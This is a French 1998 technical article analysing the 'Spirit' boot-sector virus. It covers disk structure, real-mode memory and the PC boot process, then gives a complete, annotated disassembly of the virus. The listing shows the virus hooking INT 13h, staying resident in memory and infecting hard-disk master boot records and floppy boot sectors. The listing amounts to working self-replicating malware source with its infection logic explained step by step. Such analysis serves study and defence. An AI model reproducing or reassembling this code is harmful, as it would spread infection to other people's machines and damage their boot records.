Spirit
Virus de boot
sur PC uniquement
Hughes DESCURE
  
 640x480 min.
 

 
        Je tiens à préciser que ce qui est dit dans ces lignes n'est valable que pour les ordinateurs compatible PC.
 
          Cette partie a pour but de fournir au lecteur les connaissances de base pour comprendre la suite de l'exposé. Je commencerai par la structure des disques, puis je m'attarderai sur la mémoire et enfin nous verrons le démarrage du système.
 
          Nous allons voir dans cette partie l'organisation des disques, en commençant par les disquettes puis les disques durs.
          Les disquettes possèdent toutes, malgré des capacités différentes, une structure identique. Sur les disquettes, l'information est stockée sous forme magnétique. Les disquettes sont organisées sur le plan physique en faces en pistes et en secteurs. Par exemple une disquette 1.44 Mo  est divisée en 2 faces numérotées 0 et 1, celles-ci sont divisées en 80 pistes de 0 à 79, et chaque piste contient 18 secteurs de 1 à 18, un secteur contient 512 octets. Les opérations d'écriture et de lecture se font par secteur complet, il est donc impossible d'écrire ou de lire moins de 512 octets. Sur cette structure physique une structure logique est greffée, celle-ci ignore les pistes et les faces et re-indexe tous les secteurs à partir de 0. Notre exemple contient donc 2880 secteurs numérotés de 0 à 2879. Le secteur logique 0 correspond toujours au premier secteur physique, situé sur la face 0 piste 0 secteur 1. Enfin les secteurs sont organisés dans des structures plus grandes appelées clusters, contenant 2n secteur(s). Cependant une partie des secteurs de la disquette est réservée pour les données systèmes, il s'agit, dans l'ordre du secteur de boot, d'une ou plusieurs FAT , puis du répertoire racine. Les noms des fichiers sont notés dans des entrées de répertoire, et le contenu des fichiers enregistré dans des clusters libres qui seront ensuite marqués occupé dans les FAT.
 
          Un disque dur n'est pas, comme on pourrait le croire une grosse disquette. Sur un disque dur on ne parle plus de pistes mais de cylindres de plus le terme de faces n'est plus utilisable, sachant qu'un disque dur est une pile de plateaux magnétiques, on les repère donc par le numéro de la tête de lecture/écriture correspondante à l'une ou l'autre des "faces" d'un plateau. De plus, la logique est différente : Le premier secteur n'est plus vraiment le secteur de boot mais le mater boot, c'est un secteur contenant du code pour charger le secteur de boot du système d'exploitation. Le mater boot contient aussi des informations sur les partitions  installées sur le disque dur. Chaque partition contient une zone système avec un secteur de boot une ou plusieurs FAT et un répertoire racine, ensuite viennent les secteurs réunis en cluster pour le stockage des fichiers.
 

 
 
 

        Lors du démarrage de l'ordinateur le processeur travail en mode réel. La mémoire adressable à partir d'un segment et d'un offset est de 1 Mo. Toutes les informations contenues dans cette partie concernent la mémoire avant le démarrage du système d'exploitation.
        Les 256 premiers doubles "words" sont les vecteurs interruptions  que le microprocesseur utilise pour appeler une routine spécifique lors d'une interruption logicielle ou matérielle. Puis vient ensuite en 30:0000 une zone utilisée comme pile par le BIOS lors des tests de démarrage du système. Viennent par la suite des adresses mémoires réservées pour les variables du système comme en 0040:0013 le nombre de kilo octets de mémoire conventionnelle disponible sur la machine, ou encore les adresses des différents ports de communication. Ces zones de mémoire sont très importantes car la moindre modification dans celles-ci peu avoir des conséquences très importantes.
        La mémoire du système est donc libre de 0050:0000 jusqu'à A000:0000 où se situe la mémoire vidéo pour les divers adaptateurs (VGA, EGA, MGA, CGA et monochrome...). Au dessus de la mémoire vidéo se situe les différentes parties du BIOS, les routines d'interruptions le BASIC en ROM (pour les vieux systèmes), et les routines critiques du système comme le bootstrap loader (routine de démarrage du système).
 
 
 
          Le démarrage du système est l'étape la plus importante pour l'utilisateur d'un ordinateur mais aussi pour les virus de boot. Le démarrage est une succession d'étapes relativement importantes. Lors de la mis sous tension de la machine une "puce" charge en mémoire le BIOS, et initialise les registres ES, SS et DS, et la ligne reset du  processeur est activée. Le processeur exécute le code situé en FFFF:0000. Le code du BIOS exécute des autotests de la machine c'est la POST  : test du processeur, vérification des sommes de contrôles du BIOS, Initalisation du contrôleur DMA  , initialisation du contrôleur d'interruptions et les vecteurs d'interruptions, test et initialisation de clavier et de la mémoire.
        Puis le BIOS charge le secteur de boot de la disquette en 0000:7C00 et met CS à zéro et IP à 7C00, c'est en fait le démarrage du système d'exploitation (c'est ce moment qui est le plus intéressant pour un virus de boot, mais nous y reviendrons plus tard). Le secteur de boot est exécuté, et il charge le noyau du système d'exploitation si celui ci est présent sur la disquette sinon nous avons le droit à un message du genre "Système d'exploitation absent". Si aucune disquette n'est trouvée par le BIOS dans le lecteur, le BIOS charge le premier secteur du disque dur, le master-boot. Le master-boot "regarde" dans la table de partitions, laquelle est bootable et charge le premier secteur de celle-ci. Ce secteur est le secteur de boot de la partition et le processus est alors le même que lors du boot avec une disquette, c'est à dire chargement du noyau du système d'exploitation si celui ci est présent. Après ce moment cela dépend du système d'exploitation.

 
 


 

        Avant d'analyser le code du virus, il nous faut d'abord le récupérer. Pour cela il va nous falloir un disque infecté. Puis nous allons nous servir de debug pour charger le code en mémoire, puis pour le désassembler. Cette manipulation devra être faite d'abord à "la main" pour repérer la destination des sauts pour ne pas induire de décalage lors du désassemblage. Attention le code de Spirit contient une bizarrie : un octet est utiliser dans deux instructions.
        Admettons que le virus soit sur la disquette A: les commandes pour debug sont :

 
    -l 4000:0000 0 0 1 
    Chargement du secteur de boot en 4000:0000 
    -d 4000:01E1
    Vérification : Est-ce bien SPIRIT 
    -u 4000:0000 
    Désassemble le saut 
    -u 4000:003E 
    Désassemble le début 
    -u 4000:004E 
    Désassemble après la bizarrie
    -u 
    12 fois pour voir tout le code
    -q 
    Pour quitter
          Maintenant mettons toute les commandes dans un fichier et redirigeons l'entrée et la sortie de debug vers des fichiers pour récupérer le code : debug <command.txt >spirit.txt
 
 
 
   

        Le code ci-dessous a été récupéré sur une disquette, en mémoire il a presque la même structure, mais diffère sur les mater-boots. Attention toutes les valeurs sont en hexadécimale sauf mention spéciale (suffixe b, o, d, h à la fin du nombre).
 
 
 
 

0000 EB3C JMP 003E  Saut vers le code du virus pour passer les paramètres du BIOS et du DOS 
0002 90 NOP 
;******* Ici les paramètres du BIOS et du DOS que j'ai coupé
003E FA CLI  Prépare la pile en 0000:7C00 
003F 33FF XOR DI,DI  DI <- 0000 
0041 8ED7 MOV SS,DI  SS <- 0000 
0043 BC007C MOV SP,7C00  SP <- 7C00 
0046 8EDF MOV DS,DI  DS <- 0000 
0048 BE1404 MOV SI,0414  SI <- 0414 
004B 4E DEC SI  SI <- 0413 en DS:SI = 0:0413 il y a le nombre de ko de mémoire conventionnelle. 
004C E8FFFF CALL 004E  Ici nous avons un "PUSH IP" avec ici IP = 004F (version disquette) et une réutilisation de l'octet FF en 004E. 
004F 0C DB 0C  Cet octet combiné avec 0C nous donne l'instruction suivante FF0C ou DEC WORD PTR [SI] et donc la réservation d'un ko de conventionnelle en DS:SI. 
0050 AD LODSW  AX <- [DS:SI] met dans AX le nombre de ko de conventionnelle et SI <- SI + 2 . 
0051 B106 MOV CL,06  CL <- 06 prépare le décalage de 6 bits. 
0053 D3E0 SHL AX,CL  Décalage vers la gauche soit AX <- 6 * AX et donc AX contient l'adresse de segment du futur emplacement du virus en mémoire. 
0055 8EC0 MOV ES,AX  ES <- AX Copie l'adresse de segment dans ES 
0057 B8EB3C MOV AX,3CEB  AX <- 3CEB 3CEB corresponds à la première instruction du virus soit JMP 003E. 
005A AB STOSW  [ES:DI] <- AX et DI <- DI + 2, écrit la première instruction du virus à son emplacement définitif en mémoire. 
005B 5E POP SI  Récupère dans SI le IP placé dans la pile par le CALL, SI <- 004F (pour la version disquette) 
005C 83EE11 SUB SI,+11  SI <- 003E, DS:SI pointe sur le début du code après les paramètres du BIOS et du DOS. 
005F BF3E00 MOV DI,003E  DI <- 003E 
0062 FC CLD  DF <- 0, met a 0 le bit de direction du flag 
0063 B9D900 MOV CX,00D9  CX <- 00D9, prépare le copie de 217d word 
0066 F3 REPZ  répète l'instruction suivante 217d fois 
0067 A5 MOVSW  [ES:DI] <- [DS:SI] et SI <- SI + 2, DI <- DI + 2, recopie le code virale vers son emplacement définitif en mémoire. 
0068 BE4C00 MOV SI,004C  SI <- 004C, en 0000:004C il y a le vecteur d'interruption de l'interruption 13 
006B A5 MOVSW  Copie le vecteur d'interruption à la suite du code en (003E + D9 * 2) = 01F0. 
006C A5 MOVSW  Suite de la copie du vecteur d'interruption, avec incrémentation de SI 
006D C744FCB901 MOV WORD PTR [SI-04],01B9  Replacement de l'offset dans le vecteur d'interruption par 01B9 
0072 8C44FE MOV [SI-02],ES  Remplacement du segment dans le vecteur. 
0075 FB STI  IF <- 1, Autorise les interruption matérielle. 
0076 06 PUSH ES  Met ES dans la pile pour le saut avec RETF 
0077 B17C MOV CL,7C  CL <- 7C 
0079 51 PUSH CX  Met CX = 007C dans la pile pour le saut avec RETF. 
007A 91 XCHG CX,AX  Echange les valeurs de CX et AX, CX <- 3CEB et AX <- 007C 
007B CB RETF  Saute vers le code qui a été recopié sous la mémoire vidéo IP <- 007C CS <- Segment du nouveau code. 
007C 16 PUSH SS  Met SS = 0000 dans la pile. 
007D 07 POP ES  ES <- SS, récupère SS avec ES dans la pile. 
007E 8BDC MOV BX,SP  BX <- 7C00, car la pile est vide 
0080 B280 MOV DL,80  DL <- 80, 80 est l'identificateur du disque dur 
0082 E82D01 CALL 01B2  Appel de l'ancienne interruption 13 avec AH = 0 donc reset risque dur C: 
0085 BA0000 MOV DX,0000  DX <- 0000, première face et lecteur a:, cette partie est susceptible d'être modifiée. 
0088 B90150 MOV CX,5001  CX <- 5001, première secteur de la piste 80d On va charger le secteur de boot archivé 
008B B80102 MOV AX,0201  AX <- 0201, ordre de lecteur d'un seul secteur 
008E 80E280 AND DL,80  Vérifie si le lecteur et un disque dur 
0091 750A JNZ 009D  si oui exécute directement l'opération de lecture en 009D si non continue. 
0093 50 PUSH AX  Sauve AX dans la pile 
0094 52 PUSH DX  Sauve DX dans la pile 
0095 BA8000 MOV DX,0080  DX <- 0080, première tête du premier disque dur 
0098 E80A00 CALL 00A5  Infection de C: et exécution de la lecture du secteur 1 de la piste 80 
009B 5A POP DX  Restaure DX 
009C 58 POP AX  Restaure AX 
009D E81201 CALL 01B2  Exécute la lecture 
00A0 72FB JB 009D  Recommence la lecteur jusqu'à sa réussite 
00A2 06 PUSH ES  Met ES = 0000 dans la pile pour le saut avec RETF 
00A3 53 PUSH BX  Met BX = 7C00 dans la pile pour le saut avec RETF 
00A4 CB RETF  Donne le contrôle à la véritable routine de Boot du système d'exploitation. 
;Procédure d'infection des disques et exécution d'une opération sur le disque à infecter. Appelée en 0098 et 01D7. ;Paramètres d'entrée ES:BX adresse du buffer, AH opération à effectuer, AL Nombre de secteurs pour l'opération, CX adresse du secteur (0000 si la procédure est appelé par le gestionnaire d'interruption, DX adresse lecteur et cylindre ;Modifie AX, DX 
00A5 51 PUSH CX  Sauve CX dans la pile 
00A6 B90100 MOV CX,0001  CX <- 0001 
00A9 8BF8 MOV DI,AX  DI <- AX 
00AB E80401 CALL 01B2  Exécute l'opération sur le disque 
00AE 7231 JB 00E1  si une erreur va en 00E1 sinon continue 
00B0 50 PUSH AX  Sauve AX dans la pile 
00B1 9C PUSHF  Sauve le Flag dans la pile 
00B2 06 PUSH ES  Met ES dans le pile 
00B3 1F POP DS  Récupère la valeur de ES dans DS pour éviter un consommation d'octet avec des références complètes; on va travailler directement dans le buffet du programme interrompu. 
00B4 8BF3 MOV SI,BX  SI <- BX, maintenant DS:SI pointe sur le buffer 
00B6 84D2 TEST DL,DL  Si DL > 80, si l'opération vise un disque dur 
00B8 7803 JS 00BD  saute en 00BD : pas besoin d'incrémenter 
00BA 83C63E ADD SI,+3E  sinon SI <- SI + 3E 
Ici DS:SI pointe sur le début du virus le "CLI" 
00BD 97 XCHG DI,AX  Echange les valeur de DI et AX 
00BE F6C401 TEST AH,01  Si AH est impaire, l'opération est une écriture 
00C1 7520 JNZ 00E3  saute en 00E3 
00C3 837C0EE8 CMP WORD PTR [SI+0E],-18  Vérification d'infection, teste la présence du E8, FF du CALL $-1 (la bizarrie au début du code) 
00C7 751A JNZ 00E3  Si FFE8 ne pas présent saute en 00E3 
00C9 8BFC MOV DI,SP  Attention, partie difficile : On va regarder dans la 
00CB 36 SS:  pile si il y a un 0 sept octets au dessus du somment ; 
00CC 807D0700 CMP BYTE PTR [DI+07],00  Si l'appel de cette partie du code fait suite l'appel par le nouveau gestionnaire d'interruption alors le 7° octet correspond à une partie de l'adresse de retour de la procédure (impossible d'être nul). L'autre cas est lors du boot et dans ce cas le 7° octet est DL mis dans la pile en 0094. 
00D0 7447 JZ 0119  Si le boot se fait a partir de a: et que le 1° disque dur est n'est pas infecter saute en 0119 
00D2 8A7449 MOV DH,[SI+49]  DH <- 00 (mais cela peut charger) 
00D5 8B4C4B MOV CX,[SI+4B]  CX <- 5001 (mais cela peut charger) 
00D8 B001 MOV AL,01  AL <- 01 
00DA 9D POPF  Récupère le flag 
00DB E8D400 CALL 01B2  Exécute une instruction de lecture, charge l'archive du master-boot. 
00DE 59 POP CX  CX <- 0201 
00DF 8AC1 MOV AL,CL  Récupère AL via CX 
00E1 59 POP CX  Récupère CX 
00E2 C3 RET  et retour à la procédure appelante. 
CX AX et le Flag sont toujours dans la pile 
00E3 84D2 TEST DL,DL  Si l'opération concerne un lecteur de disquette 
00E5 7948 JNS 012F  saute en 012F 
;Infection du disque dur (une petite partie est utilisée pour les disquettes) ;liste des paramètres d'entrée ES:BX buffer DS:SI 1° octet du virus ;CX piste + secteur DX lecteur + tête 
00E7 B108 MOV CL,08  CL <-08 
00E9 E8C300 CALL 01AF  Archivage du secteur original sur le secteur 8 du disque dur 
00EC 722B JB 0119  En cas d'erreur saute en 0119 
00EE 53 PUSH BX  Sauve BX 
00EF 06 PUSH ES  Sauve ES 
00F0 0E PUSH CS  Copie CS dans ES 
00F1 07 POP ES 
00F2 BF3E00 MOV DI,003E  DI <- 003E 
00F5 2E CS:  ES:DI pointe sur le début du virus (format master-boot) 
00F6 894D4B MOV [DI+4B],CX  Replace les "coordonnées" du secteur orignal direc- 
00F9 2E CS:  tement dans le code en 0088 et 0102, Pour le 
00FA 895548 MOV [DI+48],DX  rappeler au chargement. 
00FD FD STD  DF <- 1 prépare une copie en incrementant 
00FE 84D2 TEST DL,DL  Si l'opération concerne un lecteur de disquette 
0100 791B JNS 011D  saute en 011D 
0102 57 PUSH DI  Sauve DI = 003E dans la pile 
0103 BF3D02 MOV DI,023D  DI <- 023D 
0106 8D71C2 LEA SI,[BX+DI-3E]  SI <- 01FF 
0109 5B POP BX  Dépile, BX <- 003E (prépare le transfère sur le disque dur à partir de ES:BX 
010A 57 PUSH DI  Sauve DI = 011D 
010B B142 MOV CL,42  Prépare encore la copie des 64d octets de la table de partitions et les 2 octets de signature un secteur exécutable. 
010D F3 REPZ  Copie la table de partitions de ES:DI <- DS:SI 
010E A4 MOVSB  Copie la table de partitions à la fin du virus 
;partie commune au deux infections jusqu'au ret 
010F B600 MOV DH,00  DH <- 00 
0111 41 INC CX  CX <-0001 (CX été a 0000 après REPZ>MOVSB ) 
0112 E89A00 CALL 01AF  Sauve le virus à la place du secteur de boot 
0115 5F POP DI  Restaure DI 
0116 AA STOSB  Rend non bootable la copie en mémoire en écrasant la signature 
0117 07 POP ES  Restaure ES 
0118 5B POP BX  Restaure DX 
0119 9D POPF  Restaure le Flag 
011A 58 POP AX  Restaure AX 
011B 59 POP CX  Restaure CX 
011C C3 RET  Rend la main à la procédure appelante. 
011D A6 CMPSB  Incrémente SI et DI de 1 
011E B93C00 MOV CX,003C  Copie les paramètres du BIOS et du DOS 
0121 F3 REPZ  à l'intérieur du code du virus entre 0002 et 003E 
0122 A4 MOVSB 
0123 BFFF01 MOV DI,01FF  Prépare le copie de la signature du secteur 
0126 57 PUSH DI  Sauve DI 
0127 8D31 LEA SI,[BX+DI]  SI <- BX + DI 
0129 A4 MOVSB  Marque le secteur comme secteur exécutable 
012A A4 MOVSB 
012B 8BD9 MOV BX,CX  BX <- CX = 0000, pointe le début du segment pour la copie (format boot disquette) 
012D EBE0 JMP 010F  Saute en 010F, fini le travail : copie et rend la main 
;******* Routine d'infection des disquettes ;liste des paramètres d'entrées ES:BX buffer DS:SI 1° octet du virus ;CX piste + secteur DX lecteur + tête 
012F 8BFA MOV DI,DX  Sauve DX dans DI 
0131 33D2 XOR DX,DX  DX <- 0000 (initialise la partie haute du nombre formé par DX et AX 
0133 8B4713 MOV AX,[BX+13]  AX <- Nombre de secteur si la partition est supérieur à 32 Mo on a 0000 
0136 0BC0 OR AX,AX  Test si AX = 0 
0138 7506 JNZ 0140  Si c'est le cas il faut rechercher le nombre de secteur plus loin...ici 
013A 8B5722 MOV DX,[BX+22]  Charge le nombre de secteur dans deux registres car 
013D 8B4720 MOV AX,[BX+20]  ce nombre est code sur 32 bits 
0140 8B4F18 MOV CX,[BX+18]  Charge le nombre de secteur par piste dans CX 
0143 E3D4 JCXZ 0119  Si aucun secteur par piste c'est une erreur ... 
0145 F7F1 DIV CX  Divise DXAX par CX et met le quotient dans AX et le reste dans DX 
0147 4A DEC DX  DX <- DX -1 
0148 3BD1 CMP DX,CX  Compare le reste et le diviseur 
014A 8B4F1A MOV CX,[BX+1A]  Charge dans CX le nombre de face du support 
014D E3CA JCXZ 0119  Si aucune face génère une erreur 
014F 150000 ADC AX,0000  Ajoute à AX CF (CF résultant de la comparaison) on a donc dans AX le nombre de cylindres du support 
0152 1BD2 SBB DX,DX  Si l'opération précédente sort du format récupère CF 
0154 F7DA NEG DX  Pour avoir un nombre de 32 bits 
0156 F7F1 DIV CX  Divise le nombre de piste par le nombre de face pour avoir le nombre de piste par face. 
0158 0AE4 OR AH,AH  Si le résultât est nul génère une erreur 
015A 75BD JNZ 0119 
015C 8BCA MOV CX,DX  Met le reste qui est nul dans CX 
015E 8BD7 MOV DX,DI  Restaure DX, c'est à dire le lecteur et la tête 
0160 8AF1 MOV DH,CL  DH <- 00 
0162 33FF XOR DI,DI  DI <- 0000 
0164 8EDF MOV DS,DI  DS <- 0000 
0166 8CC9 MOV CX,CS  CX <- Segment de code juste sous la mémoire vidéo 
0168 874D7A XCHG CX,[DI+7A]  Echange le contenue de CX et le segment contenu dans le vecteur d'interruption 1E 
016B 56 PUSH SI  Sauve SI 
016C BEF401 MOV SI,01F4  SI <- 01F4 
016F 56 PUSH SI  Pousse SI = 01F4 
0170 877578 XCHG SI,[DI+78]  Echange le contenue de SI et le l'offset contenu dans le vecteur d'interruption 1E 
0173 5F POP DI  Récupère DI = 01F4 
0174 8ED9 MOV DS,CX  DS <- CX = Segment de la table de paramètres du lecteur de disquette 
0176 51 PUSH CX  Sauve CX 
0177 06 PUSH ES  Sauve ES = Segment du buffer 
0178 0E PUSH CS 
0179 07 POP ES  ES <- CS 
017A B90B00 MOV CX,000B  CX <- 000B 
017D FC CLD  DF <- 0 
017E 56 PUSH SI  Sauve SI 
017F F3 REPZ  Copie les 11d octets des paramètres du lecteur de disquette dans le code du virus 
0180 A4 MOVSB 
0181 5E POP SI  Restaure SI 
0182 53 PUSH BX  Sauve BX = Offset du buffer 
0183 8BDF MOV BX,DI  BX <- DI = 01F4 + 0B = 01FF 
0185 8AE6 MOV AH,DH  AH <- DH = 0 
0187 AB STOSW  Sauve AX en CS:01FF 
0188 41 INC CX  CX <- CX +1 
0189 8AE8 MOV CH,AL  CH <- AL = Nombre de cylindres 
018B B80102 MOV AX,0201  AX <- 0201 
018E AB STOSW  Sauve AX en CS:0201 
018F 26 ES: 
0190 8847F9 MOV [BX-07],AL  ES:01F8 <- 01 (1 secteur par piste) 
0193 B405 MOV AH,05  AH <- 05 ordre de formatage 
0195 33FF XOR DI,DI  DI <- 0000 
0197 E81800 CALL 01B2  Formate 
019A 5B POP BX  Restaure BX 
019B 07 POP ES  Restaure ES 
019C 7203 JB 01A1  Si erreur saute l'instruction suivante 
019E E80E00 CALL 01AF  Sauve le secteur de boot original de la disquette 
01A1 8EDF MOV DS,DI  DS <- 0000, prépare la réécriture de vecteur 1E 
01A3 8F457A POP [DI+7A]  Restaure la table de paramètres du lecteur de 
01A6 897578 MOV [DI+78],SI  disquette 
01A9 5E POP SI  Restaure SI 
01AA 06 PUSH ES  DS <- ES 
01AB 1F POP DS 
01AC E93DFF JMP 00EC  Saute en 00EC 
;******* Appel de l'ancienne interruption 13 en écriture pour un secteur ;Modifie AX, CF 
01AF B80103 MOV AX,0301  AH <- 03 ordre d'écriture d'un secteur 
;******* Appel de l'ancienne interruption 13 (Simulation de INT 13) ;Modifie AX, CF 
01B2 9C PUSHF  Sauve le Flag qui sera retiré par le IRET de l'interruption 
01B3 2E CS: 
01B4 FF1EF001 CALL FAR [01F0]  Appel du code de l'interruption 
01B8 C3 RET  Retour à la partie du code appelant 
;******* Nouveau gestionnaire de l'interruption 13 gérant la contamination des disques ;Ne modifie aucun registre 
01B9 9C PUSHF  Sauve le flag dans la pile 
01BA F6C4F4 TEST AH,F4  Filtre ne laissant passer les ordres pour l'interruption suivants : 01,02,03,08,09 (voir annexes) 
01BD 752F JNZ 01EE  Sinon exécute directement l'interruption 
01BF F6C402 TEST AH,02  Refuse d'infecter si le bit 2 est à 0. 
01C2 742A JZ 01EE  On "jette" donc la fonction de statut. 
01C4 0AF6 OR DH,DH  Refuse d'infecter si le disque est un disque dur 
01C6 7526 JNZ 01EE 
01C8 83F901 CMP CX,+01  Refuse d'infecter si l'opération porte sur un autre secteur que le premier. 
01CB 7521 JNZ 01EE 
01CD 0AC0 OR AL,AL  Refuse d'infecter si l'opération ne porte sur aucun secteur. 
01CF 741D JZ 01EE 
01D1 9D POPF  Restaure le flag. 
01D2 FB STI  IF <- 1 
01D3 56 PUSH SI  Sauve SI dans la pile 
01D4 57 PUSH DI  Sauve DI dans la pile 
01D5 1E PUSH DS  Sauve DS dans la pile 
01D6 52 PUSH DX  Sauve DX dans la pile 
01D7 E8CBFE CALL 00A5  Appel la routine d'infection qui exécutera aussi l'opération demandé par le programme appelant. 
01DA 5A POP DX  Restaure DX 
01DB 1F POP DS  Restaure DS 
01DC 5F POP DI  Restaure DI 
01DD 5E POP SI  Restaure SI 
01DE CA0200 RETF 0002  Une imitation de IRET tout aussi efficace, pour rendre la main au programme interrompue. 
01E0 53 DB 53  Aucun intérêt apparent ... 
01E1 504952495420286329204D57 DB "SPIRIT (c) MW"  Un peu de Publicité ! 
01EE 9D POPF  Restaure le flag 
01EF EA DB EA  Attention les 6 octet qui suivent ne forme qu'une seule instruction en l'occurrence avec les valeurs des variable suivante un JMP F000:6CBE pour sauter jusqu'à l'interruption qui se chargera de rendre la main au programme interrompue. 
01F0 BE6C DB 6CBE  Variable sauvegardant l'offset de l'interruption 
01F2 00F0 DB F000  Variable sauvegardant le segment de l'interruption 
01F4 2502011BFF54F60F DB DF,02,25,02,01,1B,FF,54,F6,0F  Reste de la table des paramètres du lecteur de disquette 
01FE 55AA DB 55, AA  Signature d'un secteur exécutable. 
 
 
   
 
   

        Contrairement à d'autres virus de boot comme Jumper B, Spirit change de forme, lorsqu'il est sur le disque dur  il ne contient pas les informations contenues dans le secteur de boot d'une disquette comme la BPB  ni les paramètres du DOS, mais dans ce cas il possède la table de partitions. Si le virus est dans le secteur de boot d'une disquette, il ne possède plus la table de partitions mais les paramètres du BIOS et du DOS.
        Le virus de boot infecte un ordinateur lors de l'amorçage à partir d'une disquette infectée. C'est lors du chargement par le BIOS du secteur de boot que le code du virus est exécuté, celui-ci initialise la pile, puis se réplique dans le dernier kilo-octet de la mémoire conventionnelle. Une fois copié le virus décrémente la taille de la mémoire conventionnelle pour que le code ne soit pas écrasé, puis il détourne l'interruption 13h, et installe son gestionnaire. Puis le virus prépare le démarrage du système d'exploitation, il charge le secteur de boot archivé, avant donner la main au boot archivé, il lance une procédure d'infection du premier disque dur.
        Maintenant étudions la reproduction du virus. Une fois chargé en mémoire, le virus, qui a détourné l'interruption 13h et appelé à chaque fois que le système d'exploitation ou un programme l'appelle. Cependant tous les accès aux disques, m'entraînent pas l'exécution des procédure d'infections, en effet le nouveau gestionnaire d'interruption  vérifie d'abord que l'on accède au premier secteur d'un disque et que l'opération soit une lecture ou une écriture, sinon Spirit transmet la requête à la véritable routine d'interruption. Dans le cas ou les conditions sont respectées Spirit déclenche la procédure d'infection selon le type de disque.
        La reproduction sur une disquette commence par une vérification de sa présence. Si le virus ne se trouve pas dans secteur de boot de la disquette, il importe dans son code les paramètres de BIOS et du DOS. Archive le secteur original sur une piste supplémentaire qu'il prend soin de créer (formatage) et enfin écrit son code à la place du secteur de boot. Sur les disques durs la procédure est différente, le virus importe, après vérification d'une éventuelle précédente infection, la table de partitions du disque dur, puis il archive le master-boot sur le huitième secteur du disque dur car elle n'est pas utilisée, et enfin remplace le master-boot.

Contrairement à la plupart des virus Spirit n'effectue aucune action outre le fait de ce reproduire, il n'occasionne aucun dégât volontaire.
 
 

 
 

 

        Comme je l'ai dit plus haut Spirit change de forme selon qu'il est sur le disque dur ou sur une disquette voici les deux formes qu'il prend sur les disques.
 
 

Structure de Spirit sur disquette
Sturcture sur disquette
 
Structure dans le Master Boot Record (MBR)
Structure dans le Master Boot Record (MBR)
 
Structure en mémoire
Structure en mémoire
 
 
 

 
          L'interruption 13h et l'interruption du BIOS pour les accès aux disques. Je vais rapidement exposer les fonctions proposées par cette interruption, pour plus amples informations sur le sujet. Il vous est toujours possible de consulter des ouvrages comme la Bible du PC ou pour un maximum d'information PC interrupts.

        L'interruption 13h retourne toujours un code d'erreur. Si une erreur s'est produite CF est mis à 1 et un code renseignant sur l'erreur est disponible dans le registre AH, sinon CF est mis à 0. En sortie AL contient généralement le nombre de secteur sur lesquels l'opération a portée.

        Les entrées de l'interruption 13h sont aussi standardisées :
        AH contient toujours le numéro de la fonction appelée, AL le nombre de secteur sur lesquels la fonction porte, CH contient toujours le numéro du cylindre (piste pour les disquette) , CL contient le numéro du secteur , DH le numéro de la tête sélectionnée et DL le numéro du disque (00 lecteur a:, 01 lecteur b: ,80 lecteur c: ...). Les registres ES et BX contiennent l'adresse du tampon pour le transfère des données. Dans le cas ou les entrées ou les sorties sont standards je ne mettrais que le nom des registres.
 
 

Fonctions Entrées Sorties
Fonction 00 Recalibrage des disques AH,DL AH,CF
Fonction 01 Status de la dernière opération AH,DL AH,CF
Fonction 02 Lecteur de secteur(s) AX,CX,DX,ES:BX AH,AL,CF
Fonction 03 Ecriture de secteur(s) AX,CX,DX,ES:BX AH,AL,CF
Fonction 04 Vérification de secteur(s) AX,CX,DX,ES:BX AH,AL,CF
Fonction 05 Formatage d'une piste AX,CH,DX,ES:BX AH,CF
Fonction 06 Formatage d'une piste avec indicateur de secteur(s) défectueux AX,CH,DX,ES:BX AH
Fonction 07 Formatage d'un disque à partir une certaine piste AX,CH,DX,ES:BX AH
Fonction 08 Paramètres du lecteur de disque AH,DL AH,CF BL type de lecteur de disquette CH cylindre maximum CL secteur maximum DH tête maximum DL numéro du lecteur ES:DI table de paramètres pour les lecteurs de disquettes
Fonction 09 Initalisation du contrôleur de disque AH,DL AH,CF
Fonction 0A Lecture de long(s) secteur(s) AX,CX,DX,ES:BX AH,AL,CF
Fonction 0B Ecriture de long(s) secteur(s) AX,CX,DX,ES:BX AH,AL,CF
Fonction 0C Positionnement des têtes sur un cylindre AH,CX,DX AH,CF
Fonction 0D Recalibrage du disque dur AH,DL AH,CF
Fonction 0E Lecture du tampon du contrôleur de disque dur AH,DL,ES:BX AH,CF
Fonction 0F Ecriture du tampon du contrôleur de disque dur AH,DL,ES:BX AH,CF
Fonction 10 Contrôle si le lecteur est prêt AH,DL AH,CF
Fonction 11 Recalibrage du disque dur AH,DL AH,CF
Fonction 12 Diagnostique de la mémoire du contrôleur AH,DL AH,CF
Fonction 13 Diagnostique du disque dur AH,DL AH,CF
Fonction 14 Diagnostique interne du contrôleur AH AH,CF
Fonction 15 Type de disque AH,DL AH,CF si CF=0 AH type de lecteur
Fonction 16 Détection de changement de disquette AH,DL AH,CF Si CF=0 AH état du changement
Fonction 17 Préparation du type de formatage AH,DL AL type de format AH,CF
Fonction 18 Préparation de média de formatage AH,DL,CH,CL AH status ES:DI pointe sur les paramètres du lecteur
Fonction 19 Parcage des tètes AH,DL AH,CF
 
   
 
 
La bible PC  Michaël. Ticher 
HelpPC  David Jurgens 
Aide mémoire de l'assembleur ®  Eduard Pandele 
Programmer's Technical Reference for MSDOS and the IBM PC Dave Williams 
VSUM Patricia M. Hoffman. 
AVP Virus Encyclopedia Eugene Kaspersky Alexey N. de Mont de Rique 
PC interrupts ?
 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 
 
Tous Droits réservées Hughes DESCURE
 Reproduction partielle interdite - Reproduction totale autorisée - Distribution intégrale autorisée.
Toutes responsabilités declinées : l'assemblage du virus est vivement déconseillé, et à vos risques et perils.
Pour toute question, ou erreur contacter moi : descure@altern.org
Hughes DESCURE 18/02/1998
Mise en HTML 17/06/1998